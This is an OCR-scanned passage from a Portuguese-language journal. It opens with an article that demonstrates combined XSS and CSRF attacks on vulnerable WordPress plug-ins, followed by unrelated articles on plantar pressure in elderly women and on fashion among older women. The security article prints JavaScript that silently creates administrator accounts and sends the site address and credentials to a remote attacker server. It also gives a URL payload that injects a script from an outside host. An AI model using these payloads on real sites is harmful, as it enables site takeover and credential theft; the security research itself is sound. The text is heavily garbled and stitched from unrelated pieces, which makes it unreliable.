dos componentes da pagina, como bibliotecas JavaScript. Durante o ataque o site tem
seu DOM (Document Object Model) alterado e executa algum script malicioso (DADA-

RIO, 2012).

2.3 CSRF

O CSRF (Cross-Site Request Forgery) € um tipo de ataque onde o atacante explora/a

relacao de confianga que um site possui com o navegador que o acessa. O atacante manip(la,
através de uma pagina acessada pelo usuario, outra pagina que ele esteja acessando. Egse €

o verdadeiro alvo (OWASP, 2013).




Apbs o login ser efetuado em determinado site € iniciada uma sessao, que permite que
0 usuario permaneca acessando a aplicacao sem a necessidade de efetuar login novamente.
Durante este tempo, a aplicacao permite que seja feita uma série de acdes que variam de acor-
do com o tipo de aplicacao acessada. Se utilizado como exemplo um site de banco, tem-se a
seguinte possivel situacao:

a) O usuario efetua login no site do banco utilizando os dados de sua conta e senha.

b) E iniciada uma sesso e, a partir de entdo, o usudrio pode executar todas as acoes
pertinentes a aplicacao, como transferéncias, pagamento de contas, aplicacoes, etc.

c) Supondo que exista, carregada em outra aba do navegador, uma pagina aparente-
mente inofensiva. Apds um clique em um link dessa pagina, ela efetua uma requisicao para o
site do banco.

d) Caso a aplicagéo do banco seja vulneravel a CSRF, o site inofensivo pode fazer uma
operacao no site do banco sem sequer obter os dados de acesso, uma vez que ha uma sessao
ativa no navegador. Toda essa agédo poder ser efetuada através de uma simples requisicao
HTTP.

O processo descrito acima € um caso classico de ataque CSRF, um site qualquer utili-

zou a confianga existente entre o site e 0 navegador, neste caso a sessao, e conseguiu realizar

uma operagao na conta bancaria do usuario de forma simples.
O CSRF esta na oitava posicao do ranking de riscos de ataque mais criticos explorayeis
a partir de vulnerabilidades em sistemas web (OWASP, 2013). Na lista anterior, do ano de 2010,

ja estava presente em os dez.




Atualmente, tanto os navegadores quanto as aplicagdes tomam medidas que visam
evitar, ou ao menos dificultar esse tipo de acdo. Navegadores como Chrome, Edge e Firefox
blogueiam requisicoes entre dominios diferentes, exceto com a configuracao de aceite da
aplicagéo que recebe a requisi¢cao (W3C, 2010).

Outra forma de evitar que haja este tipo de ataque sao os campos anti-CSRF, que nada
mais sao do que hashs randdmicas geradas a cada exibicao de formulario e que verificam
se a requisicdo veio realmente da aplicacéo e de um local valido. E comum que frameworks
possuam este tipo de validagao a disposicao do usuario no momento da constru¢ao da aplica-
c¢ao. Qualguer uma das medidas citadas evitariam que o ataque descrito anteriormente fosse

bem-sucedido (FERREIRA).

2.4 VULNERABILIDADES E A PLATAFORMA

Existem diversas formas de explorar vulnerabilidades em sistemas web: uma sequéncia
de comandos, dados ou um trecho de codigo. Essas técnicas sao conhecidas como exploit.
Eles sdo classificados geralmente pelo tipo de vulnerabilidade que exploram, pela necessi-
dade de serem executados na mesma maquina em que esta o sistema atacado e através do
resultado de sua execucdo (REDACAO, 2015).

Os riscos de ataque mais criticos exploraveis a partir de vulnerabilidades em sistemds
web sao ranqueados em uma lista chamada “The Top 10 Most Critical Web Application /Se-
curity Risks”, criada pela Open Web Application Security Project (OWASP), entidade sem fins

lucrativos e de reconhecimento internacional, que contribui para a melhoria da seguranga de




PERIMENTO

softwares reunindo informagdes importantes que permitem avaliar riscos de seguranga e com-
bater formas de ataques através da internet.

No caso do Wordpress, ha uma comunidade de desenvolvedores ativa que publica
atualizacdes constantemente, corrigindo falhas e protegendo a aplicacao contra diversos tipos
de vulnerabilidades conhecidas. Em versdes mais recentes as atualizagdes ja ocorrem automa-
ticamente. O mesmo nao ocorre com alguns dos plug-ins e temas disponibilizados no proprio
site do Wordpress. Por essas aplicagcoes serem desenvolvidas em sua maioria por terceiros e
nao passarem por nenhuma homologacao nem testes junto a nenhuma empresa, um plug-in
ou tema desatualizado ou com alguma falha de seguranca no seu desenvolvimento pode faci-
litar 0 acesso a dados sensiveis por softwares mal-intencionados ou até comprometer toda a

aplicacao que o utiliza.

Desde 2004, de todos os ataques efetuados em sistemas Wordpress, 35,6% foram por
XSS (mais do que o dobro do que o segundo colocado, com 16,6%) e 5,9% por CSRF (CVE DE-
TAILS, 2015). Estes serdo os dois tipos de vulnerabilidades abordadas neste artigo através de

uma demonstracao da utilizagao de um exploit que os combina, para explorar vulnerabilidades

em sistemas Wordpress que utilizem algum plug-in ou tema vulneravel.

Sabendo-se que o processo de desenvolvimento de plug-ins e temas do Wordpress/na
maioria das vezes, nao possui nenhum tipo de validagao ou homologacao, € possivel se yaler
disso para realizar um ataque bem-sucedido. Neste caso serao combinadas duas técni

ataque previamente citadas, XSS e CSRF, para explorar uma vulnerabilidade de dois deles.
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Figura 1 — Resultado de pesquisa em site de busca demonstra o padrdo de diretérios.
Fonte: GOOGLE, adaptado pelos autores, 2015.

umario

Ambos os ataques utilizam JavaScript, porém sao exe-
cutados de formas distintas, um utiliza um ataque XSS do tipo
persistente enquanto o outro utiliza um do tipo refletido. Os plu-
g-ins atacados também se diferem entre si. Para os testes em
ambiente controlado foi utilizada a versao 4.3.2 do Wordpress,

que aceita ambos os plug-ins utilizados.

3.1 ATAQUE COM XSS PERSISTENTE

Para o ataque XSS € necessario primeiramente desco-
brir alguma falha que permita o armazenamento do script mali-

cioso. Neste caso, o plug-in a ser utilizado é o Easy Comment

Uploads (WRIGHT, 2016) que possui uma vulnerabilidade que
permite o upload de arquivos para o servidor da aplicagao sem
o consentimento do usuario e os deixa publicamente acessivel.

O Wordpress mantém um padrao de pastas de arquivos, plug-

-ins e temas. Entao, desta forma, todos os plug-ins instalados
seguiréo o mesmo padrao de diretérios, o que facilita a busca
através de motores de busca.

O Easy Comment Uploads, até o momento em que gste
artigo era escrito possuia mais de quinhentas instalagoes [ista-
das no Google (Figura 1), apesar de ja ndo ser mais listado na

pagina oficial de plug-ins do Wordpress.



No ambiente de teste, o plug-in Easy Comment Uploads foi instalado e a aplicacao
passou a ser vulneravel. Com o ambiente pronto, o objetivo € inserir um arquivo de script no
servidor da aplicacao que, por meio de CSRF, crie um novo usuario administrador sem que o

usuario atacado saiba. E importante salientar que, apds o upload do arquivo, & necessario que

0 usuario atacado acesse a pagina do script para que ele seja executado.

Os requisitos para que o ataque seja bem-sucedido neste caso, sao: que o usuario
tenha efetuado login no Wordpress e que ele possua privilégios de administrador. Os passos a
serem executados pelo script sao:

a) Acesso a tela de edicao do perfil do usuario atacado e alterar o seu e-mail.

b) Alterando o e-mail do usuario, ele deixa de receber notificagbes do Wordpress e

sendo assim € possivel criar um novo usuario administrador.

c) Acesso a tela de criagéo de usuarios e preenchimento das informacoes necessarias,

submetendo o formulario. Exemplo apresentado na Figura 2.

1 if (step == 1) {

2 window.frames[@].document.getElementById (' user_login').value = user;

3 window.frames[@].document.getElementById( email").value = user + ‘@owned.com’}
4 window.trames| 8] .document.getElementById(  "passl’).value = pass;

5 window. frames[¥].document.getktlementbyld( " pass:”).value = pass;

[ winduow. frames[8].docunenl. gelElemenlById (" role” ) .value = "adminislralor™;

# window.frames[8].document.getElementById (" crcatcuser” ). submit();

2

9 setTimeourt (function){
10 $.cookie("step”, 2):
11 document.getElementById{ 'wp').src = "http://siteatacado.com.br/wordpress/wp-admin/options-general.php";
12 }, 2e@8);
13}

Figura 2 — Trecho de cddigo JavaScript utilizado no experimento (DO AUTOR).
Fonte: Autores, 2015.
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d) Para a criagéo de usuérios, serdo utilizados caracteres aleatorios que, apos criados,
s&o enviados para um servidor remoto onde o atacante tem acesso. Sdo enviados remotamente
o endereco do site atacado, usuario e senha criados.

e) Finalizada a criagéo do novo usuario, o e-mail do perfil do usuario atacado é restau-

rado e entao é feito um redirecionamento para uma pagina qualquer e até mesmo confiavel
(Figura 3).
Todos os passos acima foram executados via linguagem de programacéao Javascript

com auxilio da biblioteca jQuery.

1 if (step - 2) {
2
3 var xmlhttp = new XMLHttpRequest();
4 sxmlhttp.open("GET", "http://servidorarquivo.com/__savedata.php?url=" +
5 window. frames[@].document.domain + "8pass=" + pass + "Buser=" + user, true);
6 xmlhttp.send();
T
B window. (rames[8] .document . getClementDyId( "admin_email').value - oldCmailAdmin;
L] window. frames[¥].document . getklementByld( " submit™).click();
1e
11 setTimeout (function() [
12 $.removeCookie( “step™);
13 £.removeCookie("oldEmailAdmin™);
14
15 document . location.href = "hitp://siteconfiavel.com.br®;
16
17 }. 2080);
1}

Figura 3 — Trecho de codigo JavaScript utilizado no experimento (DO AUTOR).
Fonte: Autores, 2015.

Com a abordagem utilizada acima, duas validagcoes muito utilizadas para ataques
foram burladas. A primeira delas - que é executada inclusive pelos navegadores - € a requisi-

¢ao entre dominios distintos. Como o script esta sendo executado dentro da propria apligagao,




nao ha o bloqueio. A outra validacao é feita nos formularios, o popular token anti-csrf. Este token
€ gerado no momento em que o formulario € carregado e evita basicamente que um outro site
envie uma requisicao para o Wordpress, ela seja aceita e executada. Neste caso, como o for-

mulario da aplicacao é carregado, o foken é gerado e validado, permitindo a criagédo do novo

usuario administrador.

Apos a execucao, 0 atacante possui 0s dados de acesso a aplicacao e perfil de ad-
ministrador, isso sem que o dono do site saiba ou tenha indicios de que foi atacado. Por meio
deste novo acesso criado, € possivel ter controle total da aplicacéo e realizar inclusive a ex-
clusao do usuario. Outras acoes ainda poderiam ser feitas, como por exemplo a publicagao de
um post ou redirecionamento de usuarios para outras paginas a fim de ganhar visualizacoes

em outra pagina.

3.2 ATAQUE COM XSS REFLETIDO

Para o ataque XSS Refletido, sera utilizada uma vulnerabilidade no plug-in User Profile,
que permite através da URL que seja injetado codigo JavaScript na pagina. Este ataque tem
uma complexidade menor que o anterior, pois nao exige que seja feito upload de nenhum
arquivo, apenas deve-se referenciar o arquivo de extenséao js através da imagem e do atributo

‘onerror’, como demonstrado no Quadro 2.

/profile/?redirect_to="><img src=x onerror=x><script src=http.//meusexploits/exploit.js></script> /

Quadro 2 — Exemplo de injecdo de script XSS por meio de tag de imagem.
Fonte: Autores, 2015.




4 RESULTADOS

O script referenciado acima executa os mesmos passos do anterior, com a diferenca de

que este € escrito inteiramente em JavaScript. Apos a execugao, da mesma forma o atacante

tem acesso aos dados do novo usuario criado e poder total sobre a aplicacao.

Nos testes executados em ambiente controlado, provou-se possivel obter acesso de

administrador a uma aplicacéo vulneravel a XSS através de ataques combinados. Em todas as

execucOes de ambos os cenarios descritos, o script foi executado com sucesso, permitindo

0 posterior acesso aos dados no servidor remoto para onde eram enviados endereco do site,

usuario e senha criados, demonstrados na Figura 4. Além disso, o usuario administrador do site

atacado nao foi notificado da alteragao, o que contribui para que o ataque nao seja descoberto.

A Unica maneira a qual o usuario atacado podera identificar o ataque, € por meio do acesso

ao painel de controle do Wordpress, na segao de usuarios, conforme demonstra a Figura 5.
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Figura 4 — Lista de sites atacados com usuarios e senhas (DO AUTOR).
Fonte: Autores, 2015.
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B P Todos (1] | Administrador (11)
Agles em massa Z| Aplicar Alterar fungdo para... E| Alterar 11 itens
-
Nome de usudrio Nome Email Fungio Posts

crlL

ARmYZVNJniCd FKmYZVH i d@owner.com Adminisiradar [+]
P

1 45TkDIN2ZBmi A5TkDOn2ZBmidowner.com Administrador [+]

editar  Excluir

75y TPIZRUC Fasy7eaZkujCiowner.com Administrador [}
Plugins @
& Lsudrios
e Usuarios admin Fratteuse bt @gmaloom Administradar 1
Todos os Usudirios
jsUdyGpTAgHM BUYyGpTAgHMEwwner.com Adminisirador [+]
Far PFITHmMOvAWO4 PFZTHMOvAWO4@owner.com Administrador [
paRfhaDOROei puRfhgDDg0ei@owner.com Administrador 4]
=IEWHsFhaSAA SHEWHSFRaSAABowner.com Adminisiradar [+]

Figura 5 — Resultado da criagdo de usuarios em uma instalagédo Wordpress vulneravel.
Fonte: WORDPRESS, adaptado pelos autores, 2015.

Os testes também se mostraram eficientes em demonstrar que mesmo técnicas anti-

-CSRF largamente utilizadas sao ineficientes em um ataque combinado. No ataque XSS Persis-

tente nao houve qualquer tipo de bloqueio, ja que o script era executado no mesmo dominio
da aplicacao. No ataque XSS Refletido, onde era feita uma requisicao para outro dominio, nao

houve blogueio da requisicao no navegador utilizado, o Firefox na versao 39.

utilizam versodes desatualizadas de ambos os plug-ins.




CONS|DERACOES A medida mais eficaz a ser tomada a fim de evitar ataques desta natureza € manter

INAIS sempre atualizada a instalagao WordPress e os plug-ins utilizados. E provavel que, mesmo
com a atualizacao, novas vulnerabilidades sejam descobertas, entretanto, quanto mais antiga a
falha, maior a probabilidade de ser descoberta e consequentemente explorada. Outra medida
€ consultar, sempre que possivel, o histérico de vulnerabilidades de um plug-in e/ou do desen-
volvedor/empresa que o publica. Este tipo de informagao pode dizer muito sobre o plug-in a
ser instalado (VIEIRA, 2015).

A manutencao de plug-ins inativos também nao é encorajada, uma vez que, mesmo em
estado inativo, ele pode comprometer a aplicacéo. Utilizando como exemplo o Easy Comment
Uploads, mesmo inativo ainda compromete a instalagao como um todo. Os bancos de dados

de vulnerabilidades tais como Exploit Database, WPScan, WordPress Exploit e CVE Details sao

excelentes fontes de informagao sobre vulnerabilidades WordPress.

Foi pesquisada uma série de ferramentas para deteccao de vulnerabilidades, entre elas
Exploit Scanner, Sucuri Security, Wordfence Security, WordPress File Monitor Plus e WPScan.
Com excecao do WPScan, todas séo plug-ins a serem instalados na propria aplicacao. Por
serem instaladas, estas ferramentas terao acesso irrestrito a aplicagao e, portanto, podem ser

mais efetivas que as demais, bem como podem adicionar novas vulnerabilidades.
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0 envelhecimento contribui significativamente para as alteracdes antropométricas e biomecanicas que ocor-
rem nos pés, influenciando na marcha e aumentando o risco de quedas. Diferentes métodos sao utilizados
para avaliar a conformacao do arco plantar longitudinal medial, como a altura do osso navicular e a distribui-
¢do da pressao plantar. O objetivo deste estudo foi correlacionar os dados antropométricos e a distribuicao
de pressao no arco plantar em idosas. Participaram 50 idosas, com média de idade 69,4 (5,7) anos. Para a
avaliacao antropométrica foi utilizada uma balanca e um estadiometro; para avaliagao antropométrica dos
pés, 0 Sistema INFOOT (scanner 3D), e para a avaliacao da pressao plantar, a plataforma de pressao Emed-X.
0s resultados mostraram que a diminuicdo da altura do navicular em idosas provocou aumento do indice do
arco plantar e dos picos de pressao no mediopé, mostrando que a altura do navicular pode ser utilizada para
caracterizar 3 conformacdo do arco plantar. Nas idosas que participaram deste estudo, observou-se que com
0 aumento da idade ocorreu reducao do indice do arco plantar, dos picos de pressao no mediopé, da massa
corporal e do IMC, que podem estar relacionadas com a diminuicao da composicao corporal, funcionalidade
e velocidade da marcha provocadas pelo envelhecimento.

Palavras-chave: Arco plantar. Pressao Plantar. Antropometria. 1dosos.

ABSTRACT

Aqging contributes significantly to anthropometric and biomechanic alterations of the feet, having effect on
gait and increasing the risk of falls. Different methods are used to evaluate the plantar arch structure, like
navicular bone height and plantar pressure distribution. The aim of this study was correlate anthropometric
data and plantar pressure distribution under plantar arch in elderly women. Participated in this study 50
elderly women, mean age 69,4(5,7) years. For the anthropometric measurements were used scale and
stadiometer; for anthropometric measurements of feet, the INFOOT System (3D Scanner) and for the assess-
ment of plantar pressure was used the Emed-X System. Results showed that the decrease in navicular height
in elderly women caused an increase in arch index and peak plantar pressure in the midfoot, demonstrating
that navicular height could be used to characterize plantar arch structure. In the elderly women of this study,
it was observed that with increasing age there was reduction of the arch index, peak plantar pressures in
the midfoot, body mass and BMI, which may be related to the decrease in body composition, functionality
and gait speed caused by aging.

Keywords: Plantar Arch. Plantar Pressure. Anthropometry. Elderly




INTRODUCAO

A populagao idosa vem crescendo nos ultimos anos de forma acelerada, segundo IBGE
(2014) a expectativa de vida foi estimada em 74,9 anos em 2013. Somado & diminuigdo da mor-
talidade dos idosos, que diminuiu 30% desde 1980, se faz necessario o0 aumento de estudos e
reformulacdes nas politicas publicas de saude voltadas para prevencao em saude e melhora
da qualidade de vida dessa populagdo (GARRIDO; MENEZES, 2002; PILATTI et al., 2012).

O processo de envelhecimento € marcado pelo déficit da capacidade funcional devido
as alteracdes neurologicas e musculoesqueléticas (GONCALVES et al., 2010; BARROS et al.,
2010). Fatores como diminuicdo da forga muscular, flexibilidade, sensibilidade, equilibrio e
aumento das deformidades ¢sseas estao diretamente relacionadas as alteracoes morfologicas
e funcionais nos pés (COSTA et al., 2013; MARIN; MACIEL, 2014; PALUDETTE et al., 2014).
Tais alteragdes influenciam na marcha e aumentam o risco de queda nos idosos, que podem
ser potencializadas quando associadas a algum processo patolégico ou ao uso de calcados
inadequados (COSTA et al., 2013; GERVASIO et al., 2012; ABREU; CALDAS, 2008).

Em especial, alteragdes funcionais nos pés associadas ao envelhecimento podem ser
responsaveis por padroes anormais de distribuicdo de presséo plantar (SCOTT; MENZ; NEW-
COMBE, 2007; MENZ; MORRIS, 2006), que podem ser avaliados através de recursos de alta
tecnologia que permitem analisar o comportamento da pressao plantar em regides especificas
e determinar a conformacgéo do arco plantar, classificando os diferentes dos tipos de pé (
cavo, pé plano, pé normal) e auxiliando no diagnostico e tratamento de patologias. (FAN et/al.,
2011, AZEVEDO; NASCIMENTO, 2009; JUCA, 2006).-

Alteragdes nas caracteristicas anatdmicas dos pés, como a depressao do arco plantar

longitudinal medial (APLM), podem provocar modificagdes no comportamento da distribuigdo de




pressao plantar (NAZARIO; SANTOS; AVILA, 2010). Os picos de presséo na regido do mediopé
em idosos apresentam-se significativamente mais elevados em comparacéo com outras faixas
etarias (MANFIO et al., 2014; BOSCH et al., 2009), assemelhando-se as caracteristicas das pres-
sbes plantares encontradas em pés planos (HILLSTROM et al., 2013) e estao relacionados com
uma diminuigéo da altura do APLM (HILLSTROM et al., 2013; MENZ; MORRIS, 2006).

O APLM promove fungdes essenciais na biomecanica do pé, como o amortecimento
do impacto, propulséo durante a locomocéo e a transferéncia das cargas para as articulacoes
dos membros inferiores e coluna (QUEEN et al., 2007; FAN et al., 2011). O APLM é formado
pelos ossos do calcaneo, talus, navicular, primeiro cuneiforme e primeiro metatarso. Dentre
esses, 0 navicular € considerado o principal osso de sustentagcdo do APLM, articulando-se
com o talus (retropé), cubdide e os trés cuneiformes (mediopé) (STARKEY; RYAN, 2001). A
articulagao talocalcaneonavicular € uma articulacao complexa dos pes, onde a cabeca do
talus se articula com o calcaneo e com o navicular, permitindo os movimentos envolvidos para
a inversao e eversao do pé (DRAKE; MITCHELL; VOGL, 2010) e alteracdes nessas estruturas
podem acarretar modificagdes na forma e fungdo do APLM. Assim, a altura do navicular pode
ser uma variavel antropométrica importante para analise da conformagéo do APLM (SHRADER
et al., 2005; CESAR et al., 2012). Com base nas colocagdes acima, o objetivo deste estudo foi

correlacionar variaveis antropométricas e a distribuicao de pressao no arco plantar em idos




METODOLOGIA

Participaram deste estudo 50 idosas consideradas ativas e independentes nas ativi-
dades de vida diaria, com média de idade de 69,4 (5,7) anos, massa corporal de 67,1 (13,8)
Kg e estatura de 154,7 (6,3) cm. As idosas foram selecionadas por conveniéncia e todas as-
sinaram o Termo de Consentimento Livre e Esclarecido, aprovado pelo CEP local (processo
n°® 4.09.01.11.2012). As idosas com lesdes nas extremidades inferiores nos Gltimos 12 meses
e doenga neurolégica ou sistémica (diabetes, artrite reumatoide), foram excluidas do estudo.

Para a coleta dos dados foram realizadas as seguintes avaliagdes:

*  Avaliagdo das variaveis antropométricas: Para avaliar a massa corporal foi utilizada
uma balanca da marca Walmy, com precisao de 100g e a estatura foi utilizado um
estadidmetro da marca Cardiomed, com precisao de 1mm. Para avaliar a altura
do navicular (AN) foi utilizado o sistema INFOOT (/-Ware Laboratory Co., Ltd), que
realiza a digitalizacao 3D dos pes, através de oito cameras e quatro feixes de laser.
Durante a digitalizacao 3D dos pés (esquerdo e direito), as idosas permaneceram
em pé, olhando para um ponto fixo a sua frente e com o peso corporal distribuido
igualmente sobre os dois pés, estando o pé direito no escaner (Infoot) apoiado
sobre o vidro (parte inferior interna do escaner) e o pé esquerdo sobre o apoio
lateral externo do escaner. Na sequéncia foi o realizado o mesmo procedimenfo

para digitalizar o pé esquerdo.




*  Avaliagao da distribuicdo de pressao plantar durante a marcha: Para avaliar os pi-
cos de pressao plantar (PPP) e o indice do arco plantar (IAP) foi utilizada a platafor-
ma de pressao Emed-X (Novel, GbmH), que consiste em uma plataforma de pres-

s80 com sensores capacitivos, resolucao de 4 sensor/cm’ e taxa de aquisicéo de

100 Hz. A plataforma de pressao foi nivelada no centro de uma passarela de EVA
de 8 m e as idosas caminharam de forma independente, com os pés descalcos,
em velocidade auto-selecionada sobre a passarela/plataforma. Foram adquiridas
5 tentativas validas para cada pé (esquerdo e direito) (McPoil et al., 1999; Bosch et
al., 2009) e para a analise dos dados foi considerada a média das 5 tentativas para
cada pe e sujeito. Os dados foram processados pelo Software Novel e os picos de

pressao plantar (kPa) foram avaliados em 4 regides: Retropé (calcanhar), Mediopé

(arco plantar), Antepé (metatarsos) e Dedos (halux) (Figura 1). Neste estudo seréo

apresentados somente os dados referentes a regido do mediopeé.

As variaveis analisadas nesse estudo foram: Picos de Press&o Plantar (PPP) no medio-
pé (arco plantar longitudinal medial), indice do Arco Plantar (IAP) (Figura 2), Altura do Navicular

(AN) (Figura 3), Estatura, Massa Corporal e indice de Massa Corporal (IMC).




Figura 2 - Representagao do indice do Arco Plantar (Software Novel).

Figura 1 - Regioes Plantares. Fonte: elaborado pelos autores.

Fonte: elaborado pelos autores.

Figura 3- Altura do Navicular (AN)
Fonte: elaborado pelos autores.

Andlise dos dados: O tratamento estatistico foi realizado através do SPSS-22.0, sendo utilizadas medidas descritivas,
teste de normalidade (teste Kolmogorov-Smirnoff) e coeficiente de correlagdo de Pearson. O nivel de significancia utilizado

foi menor ou igual a 0,05.




RESULTADOS

Tabela 1 - Dados descritivos e correlagdes entre as variaveis.

Correlagéo de Pearson (r)

Variaveis Média (DP)

IAP PPP
indice do Arco Plantar (IAP) 0,26 (0,04) 0,367*
Picos de Pressao Plantar (PPP) (kPa) 175,7 (49,8) 0,367* -
Altura do Navicular (AN) (mm) 35,3 (6,7) -0,493* -0,207**
Estatura (cm) 154,7 (6,3) 0,018 0,155
Massa Corporal (Kg) 67,2 (13,8) 0,304* 0,602*
indice de Massa Corporal (IMC) (kg/m?) 28,0 (4,9) 0,344* 0,618*
Idade (anos) 69,4 (5,7) -0,410* -0,307*

Fonte: elaborado pelos autores.

*p <0,01. ** p <0,05. DP = Desvio Padrao

Os resultados, média e desvio padrdo, das variaveis es-
tudadas e a correlacao entre as variaveis foram apresentadas na
Tabela 1.

Os resultados mostraram correlagéo negativa moderada
entre a AN e o IAP (r=-0,493) e correlagéo negativa fraca entre
a AN e os PPP no mediopé (APLM) (r=-0,207) (Tabela 1 e Figura
1). Nao foram encontradas correlagcoes entre a AN com a idade
e com as demais variaveis antropométricas (estatura, massa cor-
poral e IMC).

Foi encontrada correlacao negativa moderada entre o IAP
e a idade (r=-0,410) (Tabela 1 e Figura 2a), mostrando uma ten-
déncia que a medida que aumenta a idade ocorre diminuigao
do IAP, caracterizando pés normais ou cavos. Porém, a meédia
do valor do IAP para as idosas deste estudo apresentou clas-
sificacdo de pés planos (Tabela 1). Correlacionado o IAP com
o IMC (r=0,344) (Figura 3a), massa corporal (r=0,304) e os PPP
no mediopé (r=0,367) foram encontradas correlagdes positivas
fracas (Tabela 1).

Para os PPP no mediopé (Tabela 1) foi observada corrgla-
¢éo negativa fraca com a idade (r=-0,307) (Figura 2b) e foram ob-
servadas correlacdes positivas moderadas com o IMC (r=0,618)

(Figura 3b) e com a massa corporal (r=0,602) (Tabela 1).
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DISCUSSAO

Neste estudo as idosas apresentaram valores medios de IAP caracteristicos de pés
planos, conforme a classificacdo de Cavanagh; Rodgers (1987), ndo estando de acordo
com os estudos de Aquino (2012), na avaliagao inicial (IAP=0,22+0,05), Sacco et al. (2008)
(IAP=0,21+0,05) e Scott; Menz; Newcombe (2007) (IAP=0,24+0,05) que encontraram para 0s
idosos, de ambos os sexos, classificacao de pés normais. Porém, estdo de acordo com os re-
sultados encontrados por Aquino (2012), em um estudo longitudinal, que apos 4 anos reavaliou
as idosas e observou-se um aumento no valor médio do IAP (0,27 (0,06)) com o aumento da
idade, caracterizando pés planos.

Neste estudo, nas idosas com idades mais avancadas observou-se uma tendéncia a
diminuicao do IAP e dos PPP no mediopé€, sendo que essas alteracoes podem ser justificadas
pela diminuicao da massa corporal e do IMC em idades mais avangadas, que sao decorrentes
do declinio de massa magra, diminuicao de densidade 6ssea e de forca muscular, documenta-
dos na literatura como provenientes do processo de envelhecimento (SILVA NETO et al., 2012;
GOODPASTER et al., 2008; FRONTERA et al., 2000). Segundo Doherty (2003), o tecido muscu-
lar esquelético diminui cerca de 40% entre 20 e 60 anos de idade e essa perda é progressiva
com o passar dos anos (SILVANETO et al., 2012; GOODPASTER et al., 2008; FRONTERA et al.,
2000). Krause et al. (2006) verificaram que idosas com idades mais avangadas apresentaram
menores valores de massa livre de gordura, mas principalmente, menores valores de massa
de gordura, quando comparados as idosas mais jovens. Apesar dos valores medios do |
classificar as mulheres idosas, predominantemente, com sobrepeso, parece que as idosas que

alcancam as idades mais avancadas apresentam menor adiposidade corporal.




5 CONCLUSAO

A diminuicao da altura do navicular esta relacionada com o aumento IAP e com o au-
mento dos PPP no mediopé, porém, no caso das idosas, no presente estudo, nao esta rela-
cionada com o avango da idade. Estes dados mostram que o aumento dos picos de pressao
plantar no mediopé (BOSCH et al., 2009; MENZ; MORRIS, 2006) e o aumento no indice do arco
plantar estao relacionados ao desabamento das estruturas do arco plantar, em funcao da insu-
ficiéncia passiva e ativa dos componentes de sustentagao do mesmo, decorrentes do processo
de envelhecimento (MENZ; MORRIS, 2006).

O IAP fornece uma indicacao da altura e da curvatura do arco plantar longitudinal me-
dial (MENZ; MORRIS, 2006; HILLSTROM et al., 2013) e estudos mostram relacdes entre arco
plantar longitudinal medial e altura do navicular (SHRADER et al., 2005; CESAR et al., 2012),
demonstrando assim, que essa medida clinica pode ser um método eficaz, confiavel e de baixo

custo para avaliar a arco plantar longitudinal medial e classificar os tipos de peé.

Observou-se que a diminuigdo da altura do navicular em idosas provoca aumento do
indice do arco plantar e dos picos de pressao no medio pé, mostrando que a altura do navicu-
lar pode ser utilizada para caracterizar a conformacao do arco plantar longitudinal medial. Nas
idosas com idades mais avangadas ocorreu reducao do IAP, dos PPP no mediopé, da massa
corporal e do IMC, que podem estar relacionadas com a diminuigao da composi¢cao corpgral,

funcionalidade e velocidade da marcha provocadas pelo envelhecimento.
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Este artigo tem como foco de discussao as mulheres com mais de 65 anos e sua relacao
com a moda. 0 estudo pretende elaborar algumas reflexdes sobre as mudancas que
ocorrem Na sua maneira de vestir e no estilo destas mulheres a partir de suas lembrancas.
Para tanto, lancamos mao da técnica de entrevista em profundidade para discutir acerca
de questoes que abordam o envelhecimento e, em especial, as transformacoes no seu
vestir. Ressalta-se que o a discussao proposta neste trabalho é um fragmento de uma
pesquisa mais ampla vinculada ao projeto A Vestimenta feminina e os diferentes olhares
da mulher madura: moda, cultura e identidade.

Palavras-chave: Mulher. Envelhecimento. Moda. Memdria.

BSTRAC

This article has a specific focus on women over 65 years and his relationship with fashion.
The study intends to reflect on the changes that occur in dress and style of these women
from their memories. Therefore, we used the in-depth interview technique to discuss the
issues that address aging and in particular the changes in dress. It is noteworthy that
the proposed discussion in this paper is a fragment of a larger research project linked to
Female clothing and different looks mature woman, fashion, culture and identity.
Keywords: Woman. Aging. Fashion. Memory.




INTRODUCAO

Este artigo faz parte do projeto de pesquisa “A vestimenta feminina e os diferentes
olhares da mulher adulta: moda, cultura e identidade” desenvolvido pelo grupo de pesquisa
Cultura e Memoria da Comunidade, sob coordenacéao da professora doutora Claudia Schemes
da Universidade Feevale.

A area de estudos da Moda abrange inumeros temas e aspectos da vida social. Somos
todos contribuintes do grande contexto que influencia e consome a moda. Através de nossos
habitos e escolhas repassamos informacodes e sentimentos numa constante releitura de con-
ceitos e simbolos da vestimenta (BARNARD, 2003). O estilo pessoal é a maneira pela qual a
moda € expressada por um individuo, servindo de canal para transmitir e conectar diferentes
pessoas em diferentes magnitudes. O fato € que todos nés usamos roupas, tanto para vestir,
quanto para comunicar o tempo todo.

Mais interessante ainda que observar como o conceito de estilo se forma, & observar
como este tende a se alterar com o tempo ou sob influéncia de outros fendbmenos sociais. No
caso em questao € o das mulheres maduras, pois estas se deparam com diversas mudancas
fisicas, psicologicas e sociais. Portanto, € intrigante observar tais mudancas e refletir sobre
elas, a ponto de identificar as concepgoes de moda, estilo e identidade de cada mulher. A

moda, portanto, possibilita a reuniao e a troca de experiéncias e € um instrumento importante

para o acionamento da memoria dos individuos.

De acordo com Barnard (2003, p. 76), moda e indumentaria, “séo culturais no senfido
de que sao algumas das maneiras pelas quais um grupo constréi e comunica sua identidade”.
Crane (2006), por sua vez, informa que o vestuario é fundamental para a construcéo socjal da

identidade. Historicamente, as roupas foram o principal meio pelo qual as pessoas se |denti-




ficavam na sociedade e, mesmo tendo os contrastes reduzidos ao longo dos séculos — até o
século XVIII a distingéo de classes era expressa visualmente de forma bastante ostensiva, as
pessoas continuam se identificando através de suas vestimentas. Segundo a autora, a escolha
do vestuario oferece “um excelente campo para estudar como as pessoas interpretam deter-
minada forma de cultura para o seu proprio uso, forma essa que inclui normas rigorosas sobre
a aparéncia que se considera apropriada num determinado periodo (o que é conhecido como
moda)” (CRANE, 2006, p. 21).

A maneira de se vestir pode ser considerada uma forma de expressao e como identifi-
cacao da cultura e de tracos da identidade do individuo. “Na moda, e por ela, 0s sujeitos mos-
tram seus jeitos de ser e estar no mundo, o que os posiciona neles” (OLIVEIRA, 2004, p. 10).

Tendo como perspectiva a relacao proficua entre moda, elaboragao cultural e iden-
tidade, o presente estudo propde pensar acerca das relagdes estabelecidas entre a mulher
madura, com mais de 65 anos e a moda. Por esta perspectiva, acionamos um tema que cada
vez mais passa a ser discutido em diferentes esferas da sociedade, o envelhecimento.

Lopes et al (2012, p.52), em um artigo intitulado Envelhecimento e Velhice: pistas e
